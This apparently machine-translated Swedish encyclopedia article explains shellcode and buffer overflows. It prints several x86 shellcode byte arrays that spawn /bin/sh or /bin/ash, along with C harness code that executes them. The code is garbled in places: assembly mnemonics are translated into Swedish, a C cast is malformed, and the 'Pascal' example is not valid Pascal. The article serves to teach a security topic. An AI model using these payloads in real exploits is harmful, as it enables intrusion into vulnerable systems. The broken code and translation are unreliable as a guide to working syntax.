Skalkod
En skalkod är en uppsättning kommandon som vanligtvis är programmerade i assemblerspråk och överförs till opkoder (uppsättning hexadecimala värden) som vanligtvis injiceras i exekveringsstacken (eller stacken ) av ett program för att få maskinen på vilken den finns att utföra den schemalagda operationen .
Term
Termen skalkod härrör från deras allmänna syfte, detta var en del av en exploit som användes för att få ett skal , detta är för närvarande det vanligaste syftet de används för.
Pascal shellcode exempel
För att exekvera en skalkod används vanligtvis ett språk på högre nivå, till exempel språket Pascal . Opkoderna som erhålls från vår monteringskod listas i en array av typbyte och laddas in i en prototyp som ska anropas.
Ett exempel på en skalkod är följande:
Prototypkörning _ 'Variabler. Var ShellCode[]: Byte ' Byte array för OpCode.. Var Prototype:Exec ' Prototyp som kommer att exekvera ShellCode. ' Initiera/ladda in ShellCode. ShellCode = [&31,&d2,&b2,&30,&64,&8b,&12,&8b,&52,&0c,&8b,&52,&1c,&8b,&42 _ ,&08,&8b,&72,&20,&8b,&12,&80,&7e,&0c,&33,&75,&f2,&89,&c7,&03 _ ,&78,&3c,&8b,&57,&78,&01,&c2,&8b,&7a,&20,&01,&c7,&31,&ed,&8b _ ,&34,&af,&01,&c6,&45,&81,&3e,&46,&61,&74,&61,&75,&f2,&81,&7e _ ,&08,&45,&78,&69,&74,&75,&e9,&8b,&7a,&24,&01,&c7,&66,&8b,&2c _ ,&6f,&8b,&7a,&1c,&01,&c7,&8b,&7c,&af,&fc,&01,&c7,&68,&79,&74 _ ,&65,&01,&68,&6b,&65,&6e,&42,&68,&20,&42,&72,&6f,&89,&e1,&fe_ ,&49,&0b,&31,&c0,&51,&50,&ff,&d7] 'Vi ställer in prototypkoden för att exekvera. Prototyp@ = ShellCode[0]@ ' Vi kör ShellCode. Prototyp
Som man kan se är opkoder hexadecimala värden som konverteras till byte (heltalsvärden mellan 0 och 255) och som operativsystemet förstår som assemblerkod som det kör.
C-skalkodexempel
Följande exempel visar en skalkod som finns i en array av ett program skrivet på C-språk:
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x46" /* mov $0x46,%al */
"\xcd\x80" /* int $0x80 */
"\x50" /* pushl %eax */
"\x68""/ash" /* pushl $0x6873612f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* flytta %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* tryck %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
Så vi har att en skalkod är maskinkod skriven i hexadecimal notation . De används senare i program skrivna i C, som i följande exempel på skalkoden:
// shellcode.c
// kompilera med gcc shellcode.c -o shellcode
void main()
{
((void (*))(void))
{
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9"
"\xb0\x04\xb3\x01\x59\xb2\x21\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"
"\xff\xff\x76\x69\x73\x69\x74\x61\x20\x68"
"\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e"
"\x7a\x2e\x68\x65\x72\x6c\x69\x74\x7a\x2e"
"\x63\x6c\x20\x3d\x29"
}
)();
}
Eller denna andra:
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
intmain()
{
void (*fp)();
fp = (void*) &shellcode;
fp();
}
Information
Skalkoder måste vara korta för att kunna injiceras i stapeln, som vanligtvis är ett litet utrymme.
Skalkoder används för att exekvera kod genom att utnyttja vissa sårbarheter i koden som kallas buffertspill . Huvudsakligen är skalkoden programmerad för att tillåta en kommandotolk att köras på den infekterade datorn.
Det är vanligt att i kompileringen av en skalkod produceras nullbytes , som måste elimineras från den, eftersom de skulle stoppa exekveringen av skalkoden. För att göra detta använder programmeraren olika tekniker, som att ersätta instruktionerna som genererar NULL-bytes med andra som inte gör det eller utföra en XOR-operation, flytta till mindre register (som AH, AL), och på så sätt tillåta skalkoden vara riktigt injicerbar .
Se även
- Datorsäkerhet .
- dator osäkerhet .
- Buffertspill .
- Stack Overflow .
- HoF .
- Utnyttja .
- Bugg .
- Buffertunderflöde .